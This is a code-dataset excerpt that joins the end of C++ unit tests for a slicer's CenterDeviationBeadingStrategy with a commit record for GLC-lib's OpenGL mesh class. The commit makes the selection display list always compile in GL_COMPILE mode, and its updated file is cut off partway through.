ratio 100%.\n strategy = CenterDeviationBeadingStrategy(line_width, 0.6, 1, 1);\n EXPECT_EQ(strategy.getTransitionThickness(0), line_width) << \"Only transition to have a line if it fits completely.\";\n EXPECT_EQ(strategy.getTransitionThickness(1), 2 * line_width) << \"Only transition to have two lines if they both fit completely.\";\n EXPECT_EQ(strategy.getTransitionThickness(2), 3 * line_width) << \"Only transition to have three lines if they all fit completely.\";\n\n \/\/Transition ratio 0%.\n strategy = CenterDeviationBeadingStrategy(line_width, 0.6, 0, 0);\n EXPECT_EQ(strategy.getTransitionThickness(0), 0) << \"Always transition to 1 line. The minimum line width is 0 after all.\";\n EXPECT_EQ(strategy.getTransitionThickness(1), line_width) << \"If 1 line fits completely, immediately transition to 2 lines.\";\n EXPECT_EQ(strategy.getTransitionThickness(6), 6 * line_width) << \"If 6 lines fit completely, immediately transition to 7 lines.\";\n}\n\n\/*!\n * Test getting the optimal bead count for a given shape width.\n *\/\nTEST(CenterDeviationBeadingStrategy, GetOptimalBeadCount)\n{\n constexpr coord_t line_width = 400;\n\n \/\/Transition ratio 25%.\n CenterDeviationBeadingStrategy strategy(line_width, 0.6, 0.25, 0.25);\n \/\/Anything below 25% line width should then produce 0 lines.\n for(coord_t width = 0; width < 0.25 * line_width; width += 10)\n {\n EXPECT_EQ(strategy.getOptimalBeadCount(width), 0) << \"Width is below the transition thickness from 0 to 1 line, so it should produce 0 lines.\";\n }\n EXPECT_LE(strategy.getOptimalBeadCount(0.25 * line_width), 1) << \"At exactly the transition thickness, either 0 or 1 line is acceptable.\";\n for(coord_t width = 0.25 * line_width + 1; width < 1.25 * line_width; width += 10)\n {\n EXPECT_EQ(strategy.getOptimalBeadCount(width), 1) << \"Width is above the transition thickness from 0 to 1 line but below 1 to 2 lines, so it should produce 1 line.\";\n }\n EXPECT_TRUE(strategy.getOptimalBeadCount(1.25 * line_width) == 1 || strategy.getOptimalBeadCount(1.25 * line_width) == 2) << \"At exactly 125% line width, either 1 or 2 lines is acceptable.\";\n for(coord_t width = 1.25 * line_width + 1; width < 2.25 * line_width; width += 10)\n {\n EXPECT_EQ(strategy.getOptimalBeadCount(width), 2) << \"Width is above the transition thickness from 1 to 2 lines but below 2 to 3 lines, so it should produce 2 lines.\";\n }\n\n \/\/Transition ratio 80%.\n strategy = CenterDeviationBeadingStrategy(line_width, 0.6, 0.8, 0.8);\n \/\/Anything below 80% line width should then produce 0 lines.\n for(coord_t width = 0; width < 0.8 * line_width; width += 10)\n {\n EXPECT_EQ(strategy.getOptimalBeadCount(width), 0) << \"Width is below the transition thickness from 0 to 1 line, so it should produce 0 lines.\";\n }\n EXPECT_LE(strategy.getOptimalBeadCount(0.8 * line_width), 1) << \"At exactly the transition thickness, either 0 or 1 line is acceptable.\";\n for(coord_t width = 0.8 * line_width + 1; width < 1.8 * line_width; width += 10)\n {\n EXPECT_EQ(strategy.getOptimalBeadCount(width), 1) << \"Width is above the transition thickness from 0 to 1 line but below 1 to 2 lines, so it should produce 1 line.\";\n }\n EXPECT_TRUE(strategy.getOptimalBeadCount(1.8 * line_width) == 1 || strategy.getOptimalBeadCount(1.8 * line_width) == 2) << \"At exactly 180% line width, either 1 or 2 lines is acceptable.\";\n for(coord_t width = 1.8 * line_width + 1; width < 2.8 * line_width; width += 10)\n {\n EXPECT_EQ(strategy.getOptimalBeadCount(width), 2) << \"Width is above the transition thickness from 1 to 2 lines but below 2 to 3 lines, so it should produce 2 lines.\";\n }\n}\n\n\/*!\n * Tests whether the line compactness setting does what it is supposed to do,\n * producing fewer, wider lines when the setting is high than when the setting\n * is low.\n *\n * This is a test for requirements. The exact outcome of a function is not\n * tested, but properties of the outcome is tested.\n *\/\nTEST(CenterDeviationBeadingStrategy, LineCompactnessMonotonic)\n{\n constexpr coord_t line_width = 400;\n constexpr coord_t widths[] = {0, 1, 99, 101, 150, 200, 299, 300, 301, 399, 400, 401, 410, 450, 500, 660, 770, 880, 910, 1000, 1200}; \/\/Bunch of widths to test with.\n constexpr float compactnesses[] = {0, 0.1, 0.2, 0.24, 0.25, 0.26, 0.3, 0.5, 0.7, 0.75, 0.99, 1}; \/\/Bunch of line compactness factors to test with.\n constexpr size_t num_compactnesses = sizeof(compactnesses) \/ sizeof(float);\n\n for(coord_t width : widths)\n {\n for(size_t low_index = 0; low_index < num_compactnesses; ++low_index)\n {\n const float low_compactness = compactnesses[low_index];\n for(size_t high_index = low_index; high_index < num_compactnesses; ++high_index)\n {\n const float high_compactness = compactnesses[high_index];\n\n EXPECT_GE(\n CenterDeviationBeadingStrategy(line_width, 0.6, low_compactness, low_compactness).getOptimalBeadCount(width),\n CenterDeviationBeadingStrategy(line_width, 0.6, high_compactness, high_compactness).getOptimalBeadCount(width)\n ) << \"When the compactness is low, the number of beads should always be greater or equal to when the compactness is high.\";\n }\n }\n }\n}\n\n}<|endoftext|>"} {"text":"<commit_before>\/****************************************************************************\n\n This file is part of the GLC-lib library.\n Copyright (C) 2005-2008 Laurent Ribon (laumaya@users.sourceforge.net)\n Version 1.0.0, packaged on August, 2008.\n\n http:\/\/glc-lib.sourceforge.net\n\n GLC-lib is free software; you can redistribute it and\/or modify\n it under the terms of the GNU General Public License as published by\n the Free Software Foundation; either version 2 of the License, or\n (at your option) any later version.\n\n GLC-lib is distributed in the hope that it will be useful,\n but WITHOUT ANY WARRANTY; without even the implied warranty of\n MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n GNU General Public License for more details.\n\n You should have received a copy of the GNU General Public License\n along with GLC-lib; if not, write to the Free Software\n Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA\n\n*****************************************************************************\/\n\n\/\/! \\file glc_mesh2.cpp implementation of the GLC_Mesh2 class.\n\n#include \"glc_mesh2.h\"\n#include \"glc_openglexception.h\"\n#include \"glc_selectionmaterial.h\"\n\n#include <QtDebug>\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ Constructor Destructor\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nGLC_Mesh2::GLC_Mesh2()\n:GLC_Geometry(\"Mesh\", false)\n, m_CoordinateHash()\n, m_CoordinateIndex()\n, m_MaterialHash()\n, m_MaterialIndex()\n, m_NormalHash()\n, m_NormalIndex()\n, m_TextCoordinateHash()\n, m_TextureIndex()\n, m_NumberOfFaces(0)\n, m_SelectionListID(0)\n, m_IsSelected(false)\n{\n\t\/\/qDebug() << \"GLC_Mesh2::GLC_Mesh2\" << getID();\n}\n\nGLC_Mesh2::GLC_Mesh2(const GLC_Mesh2 &meshToCopy)\n: GLC_Geometry(meshToCopy)\n, m_CoordinateHash(meshToCopy.m_CoordinateHash)\n, m_CoordinateIndex(meshToCopy.m_CoordinateIndex)\n, m_MaterialHash(meshToCopy.m_MaterialHash)\n, m_MaterialIndex(meshToCopy.m_MaterialIndex)\n, m_NormalHash(meshToCopy.m_NormalHash)\n, m_NormalIndex(meshToCopy.m_NormalIndex)\n, m_TextCoordinateHash(meshToCopy.m_TextCoordinateHash)\n, m_TextureIndex(meshToCopy.m_TextureIndex)\n, m_NumberOfFaces(meshToCopy.m_NumberOfFaces)\n, m_SelectionListID(0)\n, m_IsSelected(false)\n{\n\t\/\/qDebug() << \"GLC_Mesh2::GLC_Mesh2\" << getID();\n\t\/\/ Add this mesh to inner material\n\tMaterialHash::const_iterator i= m_MaterialHash.begin();\n while (i != m_MaterialHash.constEnd())\n {\n \/\/ update inner material use table\n i.value()->addGLC_Geom(this);\n ++i;\n }\t\n}\n\n\nGLC_Mesh2::~GLC_Mesh2(void)\n{\n\t\/\/qDebug() << \"GLC_Mesh2::~GLC_Mesh2\" << getID();\n\tm_CoordinateHash.clear();\n\tm_CoordinateIndex.clear();\n\n\tm_NormalHash.clear();\n\tm_NormalIndex.clear();\n\n\tm_TextCoordinateHash.clear();\n\tm_TextureIndex.clear();\n\t\n\t\/\/ delete mesh inner material\n\tMaterialHash::const_iterator i= m_MaterialHash.begin();\n while (i != m_MaterialHash.constEnd())\n {\n \/\/ delete the material if necessary\n i.value()->delGLC_Geom(getID());\n if (i.value()->isUnused()) delete i.value();\n ++i;\n }\n\tm_MaterialHash.clear();\n\tm_MaterialIndex.clear();\n\t\n\t\/\/ If display list is valid : delete it\n\tif (0 != m_SelectionListID)\n\t{\n\t\tglDeleteLists(m_SelectionListID, 1);\n\t}\n\t\n}\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ Get Functions\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n\/\/! Return material index if Material is the same than a material already in the mesh\nint GLC_Mesh2::materialIndex(const GLC_Material& mat) const\n{\n\tint index= -1;\n\tMaterialHash::const_iterator iEntry= m_MaterialHash.begin();\n\t\n while ((iEntry != m_MaterialHash.constEnd()) and !(*(iEntry.value()) == mat))\n {\n ++iEntry;\n }\n if (iEntry != m_MaterialHash.constEnd())\n {\n \tindex= iEntry.key();\n }\n\treturn index;\n\t\n}\n\n\/\/ return the mesh bounding box\nGLC_BoundingBox* GLC_Mesh2::getBoundingBox(void) const\n{\n\tGLC_BoundingBox* pBoundingBox= new GLC_BoundingBox();\n\t\n\tVector3dHash::const_iterator iEntry= m_CoordinateHash.begin();\n\t\n while (iEntry != m_CoordinateHash.constEnd())\n {\n \/\/ Combine the vertex with the bounding box \n pBoundingBox->combine(iEntry.value());\n ++iEntry;\n }\n \n\treturn pBoundingBox;\n}\n\n\/\/ Return a copy of the current geometry\nGLC_Geometry* GLC_Mesh2::clone() const\n{\n\treturn new GLC_Mesh2(*this);\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ Set Functions\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n\n\/\/ Add material to mesh\nvoid GLC_Mesh2::addMaterial(int Index, GLC_Material* pMaterial)\n{\n\tif (pMaterial != NULL)\n\t{\n\t\tMaterialHash::const_iterator iMaterial= m_MaterialHash.find(Index);\n\t\t\/\/ Check if there is a material at specified index\n\t\tQ_ASSERT(iMaterial == m_MaterialHash.end());\n\t\t\n\t\t\/\/ Add this geometry in the material use table\n\t\tpMaterial->addGLC_Geom(this);\n\t\t\/\/ Add the Material to Material hash table\n\t\tm_MaterialHash.insert(Index, pMaterial);\n\t\t\/\/ Test if the material is transparent\n\t\tif (pMaterial->isTransparent() && (m_MaterialHash.size() == 1))\n\t\t{\n\t\t\tsetTransparency(true);\n\t\t}\n\t\telse if (isTransparent() && !pMaterial->isTransparent())\n\t\t{\n\t\t\tsetTransparency(false);\n\t\t}\n\t\t\/\/ Invalid the geometry\n\t\tm_GeometryIsValid = false;\n\t\tm_ListIsValid= false;\t\/\/ GLC_Mesh2 compatibility\t\t\n\t}\n}\n\n\/\/ Remove material from the mesh\nint GLC_Mesh2::removeMaterial(int index)\n{\n\t\/\/qDebug() << \"GLC_Mesh2::removeMaterial\" << getID();\n\tm_MaterialHash[index]->delGLC_Geom(getID());\n\t\/\/ If the removed material is the last, change transparency\n\tif((m_MaterialHash.size() == 1) && !getMaterial()->isTransparent())\n\t{\n\t\tsetTransparency(false);\n\t}\n\treturn m_MaterialHash.remove(index);\n}\n\n\/\/ Reverse mesh normal\nvoid GLC_Mesh2::reverseNormal()\n{\n\tVector3dHash::iterator iNormal= m_NormalHash.begin();\n while (iNormal != m_NormalHash.constEnd())\n {\n \/\/ Reverse normal \n iNormal.value().setInv();\n ++iNormal;\n }\n m_ListIsValid= false;\n\t\n}\n\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ OpenGL Functions\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ if the geometry have a texture, load it\nvoid GLC_Mesh2::glLoadTexture(void)\n{\n\t\/\/ Load texture of the master material \n\tm_pMaterial->glLoadTexture();\n\n\tMaterialHash::iterator iMaterial= m_MaterialHash.begin();\n\t\n while (iMaterial != m_MaterialHash.constEnd())\n {\n \/\/ Load texture of mesh materials \n iMaterial.value()->glLoadTexture();\n ++iMaterial;\n }\t\n}\n\n\/\/ Specific glExecute method\nvoid GLC_Mesh2::glExecute(GLenum Mode, bool isSelected, bool forceWire)\n{\n\n\tif (isSelected)\n\t{\t\n\t\tm_IsSelected= true;\n\t\t\/\/ Define Geometry's property\n\t\tglPropGeom(isSelected, forceWire);\n\t\n\t\t\/\/ Geometry validity set to true\n\t\tm_GeometryIsValid= true;\n\t\n\t\tif (!m_ListIsValid)\n\t\t{\n\t\t\t\/\/ The list is not up to date or doesn't exist\n\t\t\n\t\t\tcreateList(Mode);\n\t\t}\n\t\telse\n\t\t{\n\t\t\tglCallList(m_SelectionListID);\n\t\t}\n\t\n\t\t\/\/ OpenGL error handler\n\t\tGLenum error= glGetError();\t\n\t\tif (error != GL_NO_ERROR)\n\t\t{\n\t\t\tGLC_OpenGlException OpenGlException(\"GLC_Geometry::GlExecute \", error);\n\t\t\tthrow(OpenGlException);\n\t\t}\n\t\tm_IsSelected= false;\n\t}\n\telse\n\t{\t\n\t\tGLC_Geometry::glExecute(Mode, isSelected, forceWire);\n\t}\n}\n\n\/\/ Specific createList method\nvoid GLC_Mesh2::createList(GLenum Mode)\n{\n\tcreateSelectionList(Mode);\n\tGLC_Geometry::createList(Mode);\n}\n\n\/\/ Create selection list\nvoid GLC_Mesh2::createSelectionList(GLenum Mode)\n{\n\tm_IsSelected= true;\n\tif(!m_SelectionListID)\t\t\/\/ The list doesn't exist\n\t{\n\t\tm_SelectionListID= glGenLists(1);\n\t\tQ_ASSERT(0 != m_SelectionListID);\n\t}\n\t\/\/ List setting up\n\tglNewList(m_SelectionListID, Mode);\n\t\t\/\/ Geometry set up and display\n\t\tglDraw();\t\/\/ Virtual function defined in concrete class\n\tglEndList();\n\tm_IsSelected= false;\n\t\/\/ OpenGL error handler\n\tGLenum error= glGetError();\t\n\tif (error != GL_NO_ERROR)\n\t{\n\t\tGLC_OpenGlException OpenGlException(\"GLC_Mesh2::createList \", error);\n\t\tthrow(OpenGlException);\n\t}\t\t\n}\n\n\/\/ Virtual interface for OpenGL Geometry set up.\nvoid GLC_Mesh2::glDraw()\n{\n\t\/\/qDebug() << \"GLC_Mesh2::glDraw ENTER\";\n\t\n\t\/\/ If the mesh is empty there is noting to do\n\tif (m_CoordinateIndex.isEmpty()) return;\n\t\t\n\t\/\/ Index face separator\n\tconst int separator= -1;\n\t\n\tint CurrentMaterialIndex= -1;\n\tbool IsNewFace= true;\n\t\n\tfor(int i=0; i < m_CoordinateIndex.size(); ++i)\n\t{\n\t\tif (m_CoordinateIndex.at(i) == separator)\n\t\t{\t\t\t\n\t\t\tQ_ASSERT((i != 0) && (!IsNewFace));\t\/\/ the first index couldn't be a separator\n\t\t\t\/\/ End of current face\n\t\t\tglEnd();\n\t\t\t\/\/ At the next round a new face will be create\n\t\t\tIsNewFace=true;\n\t\t}\n\t\telse\n\t\t{\n\t\t\tif (CurrentMaterialIndex != m_MaterialIndex.at(i))\n\t\t\t{\t\/\/ If the material change, make it current\n\t\t\t\tCurrentMaterialIndex= m_MaterialIndex.at(i);\n\t\t\t\t\/\/qDebug() << \"GLC_Mesh2::glDraw : CurrentMaterialIndex\" << CurrentMaterialIndex;\n\t\t\t\tMaterialHash::const_iterator iMaterial= m_MaterialHash.find(CurrentMaterialIndex);\n\t\t\t\t\/\/ Check if the key is already use\n\t\t\t\tif (iMaterial != m_MaterialHash.end())\n\t\t\t\t{\n\t\t\t\t\tif (!m_IsSelected or (m_IsSelected and m_MaterialHash[CurrentMaterialIndex]->getAddRgbaTexture()))\n\t\t\t\t\t{\n\t\t\t\t\t\tm_MaterialHash[CurrentMaterialIndex]->glExecute();\n\t\t\t\t\t}\n\t\t\t\t\t\t\n\t\t\t\t\tif (m_IsSelected) GLC_SelectionMaterial::glExecute();\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\tm_pMaterial->glExecute();\n\t\t\t\t\tif (m_IsSelected) GLC_SelectionMaterial::glExecute();\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tif (IsNewFace)\n\t\t\t{\n\t\t\t\tif ((m_MaterialHash.find(CurrentMaterialIndex) != m_MaterialHash.end()) and m_MaterialHash[CurrentMaterialIndex]->getAddRgbaTexture())\n\t\t\t\t{\n\t\t\t\t\tglEnable(GL_TEXTURE_2D);\n\t\t\t\t\t\/\/qDebug() << \"GLC_Mesh2::glDraw : Texture enabled\";\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\tglDisable(GL_TEXTURE_2D);\n\t\t\t\t}\n\t\t\t\tIsNewFace= false;\n\t\t\t\t\/\/ New polygon creation\n\t\t\t\tglBegin(GL_POLYGON);\n\t\t\t} \/\/ end if isNewFace\n\t\t\t\n\t\t\t\/\/ Vertex texture coordinate if necessary\n\t\t\tif (i < m_TextureIndex.size())\n\t\t\t{\n\t\t\t\tglTexCoord2fv(m_TextCoordinateHash[m_TextureIndex.at(i)].return_dVect());\n\t\t\t}\n\t\t\t\t\n\t\t\t\/\/ Vertex Normal\n\t\t\tQ_ASSERT(i < m_NormalIndex.size());\n\t\t\tglNormal3fv(m_NormalHash[m_NormalIndex.at(i)].return_dVect());\n\t\t\t\n\t\t\t\/\/ Vertex 3D coordinate\n\t\t\tQ_ASSERT(i < m_CoordinateIndex.size());\n\t\t\tglVertex3fv(m_CoordinateHash[m_CoordinateIndex.at(i)].return_dVect());\n\t\t}\t\t\n\t}\n\t\n\t\/\/ OpenGL error handler\n\tGLenum error= glGetError();\t\n\tif (error != GL_NO_ERROR)\n\t{\n\t\tGLC_OpenGlException OpenGlException(\"GLC_Mesh2::GlDraw \", error);\n\t\tthrow(OpenGlException);\n\t}\n\t\n}\n<commit_msg>When creating list, selectionList is always created in compile mode.<commit_after>\/****************************************************************************\n\n This file is part of the GLC-lib library.\n Copyright (C) 2005-2008 Laurent Ribon (laumaya@users.sourceforge.net)\n Version 1.0.0, packaged on August, 2008.\n\n http:\/\/glc-lib.sourceforge.net\n\n GLC-lib is free software; you can redistribute it and\/or modify\n it under the terms of the GNU General Public License as published by\n the Free Software Foundation; either version 2 of the License, or\n (at your option) any later version.\n\n GLC-lib is distributed in the hope that it will be useful,\n but WITHOUT ANY WARRANTY; without even the implied warranty of\n MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n GNU General Public License for more details.\n\n You should have received a copy of the GNU General Public License\n along with GLC-lib; if not, write to the Free Software\n Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA\n\n*****************************************************************************\/\n\n\/\/! \\file glc_mesh2.cpp implementation of the GLC_Mesh2 class.\n\n#include \"glc_mesh2.h\"\n#include \"glc_openglexception.h\"\n#include \"glc_selectionmaterial.h\"\n\n#include <QtDebug>\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ Constructor Destructor\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nGLC_Mesh2::GLC_Mesh2()\n:GLC_Geometry(\"Mesh\", false)\n, m_CoordinateHash()\n, m_CoordinateIndex()\n, m_MaterialHash()\n, m_MaterialIndex()\n, m_NormalHash()\n, m_NormalIndex()\n, m_TextCoordinateHash()\n, m_TextureIndex()\n, m_NumberOfFaces(0)\n, m_SelectionListID(0)\n, m_IsSelected(false)\n{\n\t\/\/qDebug() << \"GLC_Mesh2::GLC_Mesh2\" << getID();\n}\n\nGLC_Mesh2::GLC_Mesh2(const GLC_Mesh2 &meshToCopy)\n: GLC_Geometry(meshToCopy)\n, m_CoordinateHash(meshToCopy.m_CoordinateHash)\n, m_CoordinateIndex(meshToCopy.m_CoordinateIndex)\n, m_MaterialHash(meshToCopy.m_MaterialHash)\n, m_MaterialIndex(meshToCopy.m_MaterialIndex)\n, m_NormalHash(meshToCopy.m_NormalHash)\n, m_NormalIndex(meshToCopy.m_NormalIndex)\n, m_TextCoordinateHash(meshToCopy.m_TextCoordinateHash)\n, m_TextureIndex(meshToCopy.m_TextureIndex)\n, m_NumberOfFaces(meshToCopy.m_NumberOfFaces)\n, m_SelectionListID(0)\n, m_IsSelected(false)\n{\n\t\/\/qDebug() << \"GLC_Mesh2::GLC_Mesh2\" << getID();\n\t\/\/ Add this mesh to inner material\n\tMaterialHash::const_iterator i= m_MaterialHash.begin();\n while (i != m_MaterialHash.constEnd())\n {\n \/\/ update inner material use table\n i.value()->addGLC_Geom(this);\n ++i;\n }\t\n}\n\n\nGLC_Mesh2::~GLC_Mesh2(void)\n{\n\t\/\/qDebug() << \"GLC_Mesh2::~GLC_Mesh2\" << getID();\n\tm_CoordinateHash.clear();\n\tm_CoordinateIndex.clear();\n\n\tm_NormalHash.clear();\n\tm_NormalIndex.clear();\n\n\tm_TextCoordinateHash.clear();\n\tm_TextureIndex.clear();\n\t\n\t\/\/ delete mesh inner material\n\tMaterialHash::const_iterator i= m_MaterialHash.begin();\n while (i != m_MaterialHash.constEnd())\n {\n \/\/ delete the material if necessary\n i.value()->delGLC_Geom(getID());\n if (i.value()->isUnused()) delete i.value();\n ++i;\n }\n\tm_MaterialHash.clear();\n\tm_MaterialIndex.clear();\n\t\n\t\/\/ If display list is valid : delete it\n\tif (0 != m_SelectionListID)\n\t{\n\t\tglDeleteLists(m_SelectionListID, 1);\n\t}\n\t\n}\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ Get Functions\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n\/\/! Return material index if Material is the same than a material already in the mesh\nint GLC_Mesh2::materialIndex(const GLC_Material& mat) const\n{\n\tint index= -1;\n\tMaterialHash::const_iterator iEntry= m_MaterialHash.begin();\n\t\n while ((iEntry != m_MaterialHash.constEnd()) and !(*(iEntry.value()) == mat))\n {\n ++iEntry;\n }\n if (iEntry != m_MaterialHash.constEnd())\n {\n \tindex= iEntry.key();\n }\n\treturn index;\n\t\n}\n\n\/\/ return the mesh bounding box\nGLC_BoundingBox* GLC_Mesh2::getBoundingBox(void) const\n{\n\tGLC_BoundingBox* pBoundingBox= new GLC_BoundingBox();\n\t\n\tVector3dHash::const_iterator iEntry= m_CoordinateHash.begin();\n\t\n while (iEntry != m_CoordinateHash.constEnd())\n {\n \/\/ Combine the vertex with the bounding box \n pBoundingBox->combine(iEntry.value());\n ++iEntry;\n }\n \n\treturn pBoundingBox;\n}\n\n\/\/ Return a copy of the current geometry\nGLC_Geometry* GLC_Mesh2::clone() const\n{\n\treturn new GLC_Mesh2(*this);\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ Set Functions\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n\n\/\/ Add material to mesh\nvoid GLC_Mesh2::addMaterial(int Index, GLC_Material* pMaterial)\n{\n\tif (pMaterial != NULL)\n\t{\n\t\tMaterialHash::const_iterator iMaterial= m_MaterialHash.find(Index);\n\t\t\/\/ Check if there is a material at specified index\n\t\tQ_ASSERT(iMaterial == m_MaterialHash.end());\n\t\t\n\t\t\/\/ Add this geometry in the material use table\n\t\tpMaterial->addGLC_Geom(this);\n\t\t\/\/ Add the Material to Material hash table\n\t\tm_MaterialHash.insert(Index, pMaterial);\n\t\t\/\/ Test if the material is transparent\n\t\tif (pMaterial->isTransparent() && (m_MaterialHash.size() == 1))\n\t\t{\n\t\t\tsetTransparency(true);\n\t\t}\n\t\telse if (isTransparent() && !pMaterial->isTransparent())\n\t\t{\n\t\t\tsetTransparency(false);\n\t\t}\n\t\t\/\/ Invalid the geometry\n\t\tm_GeometryIsValid = false;\n\t\tm_ListIsValid= false;\t\/\/ GLC_Mesh2 compatibility\t\t\n\t}\n}\n\n\/\/ Remove material from the mesh\nint GLC_Mesh2::removeMaterial(int index)\n{\n\t\/\/qDebug() << \"GLC_Mesh2::removeMaterial\" << getID();\n\tm_MaterialHash[index]->delGLC_Geom(getID());\n\t\/\/ If the removed material is the last, change transparency\n\tif((m_MaterialHash.size() == 1) && !getMaterial()->isTransparent())\n\t{\n\t\tsetTransparency(false);\n\t}\n\treturn m_MaterialHash.remove(index);\n}\n\n\/\/ Reverse mesh normal\nvoid GLC_Mesh2::reverseNormal()\n{\n\tVector3dHash::iterator iNormal= m_NormalHash.begin();\n while (iNormal != m_NormalHash.constEnd())\n {\n \/\/ Reverse normal \n iNormal.value().setInv();\n ++iNormal;\n }\n m_ListIsValid= false;\n\t\n}\n\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ OpenGL Functions\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ if the geometry have a texture, load it\nvoid GLC_Mesh2::glLoadTexture(void)\n{\n\t\/\/ Load texture of the master material \n\tm_pMaterial->glLoadTexture();\n\n\tMaterialHash::iterator iMaterial= m_MaterialHash.begin();\n\t\n while (iMaterial != m_MaterialHash.constEnd())\n {\n \/\/ Load texture of mesh materials \n iMaterial.value()->glLoadTexture();\n ++iMaterial;\n }\t\n}\n\n\/\/ Specific glExecute method\nvoid GLC_Mesh2::glExecute(GLenum Mode, bool isSelected, bool forceWire)\n{\n\n\tif (isSelected)\n\t{\t\n\t\tm_IsSelected= true;\n\t\t\/\/ Define Geometry's property\n\t\tglPropGeom(isSelected, forceWire);\n\t\n\t\t\/\/ Geometry validity set to true\n\t\tm_GeometryIsValid= true;\n\t\n\t\tif (!m_ListIsValid)\n\t\t{\n\t\t\t\/\/ The list is not up to date or doesn't exist\n\t\t\n\t\t\tcreateList(Mode);\n\t\t}\n\t\telse\n\t\t{\n\t\t\tglCallList(m_SelectionListID);\n\t\t}\n\t\n\t\t\/\/ OpenGL error handler\n\t\tGLenum error= glGetError();\t\n\t\tif (error != GL_NO_ERROR)\n\t\t{\n\t\t\tGLC_OpenGlException OpenGlException(\"GLC_Geometry::GlExecute \", error);\n\t\t\tthrow(OpenGlException);\n\t\t}\n\t\tm_IsSelected= false;\n\t}\n\telse\n\t{\t\n\t\tGLC_Geometry::glExecute(Mode, isSelected, forceWire);\n\t}\n}\n\n\/\/ Specific createList method\nvoid GLC_Mesh2::createList(GLenum Mode)\n{\n\tcreateSelectionList(GL_COMPILE);\n\tGLC_Geometry::createList(Mode);\n}\n\n\/\/ Create selection list\nvoid 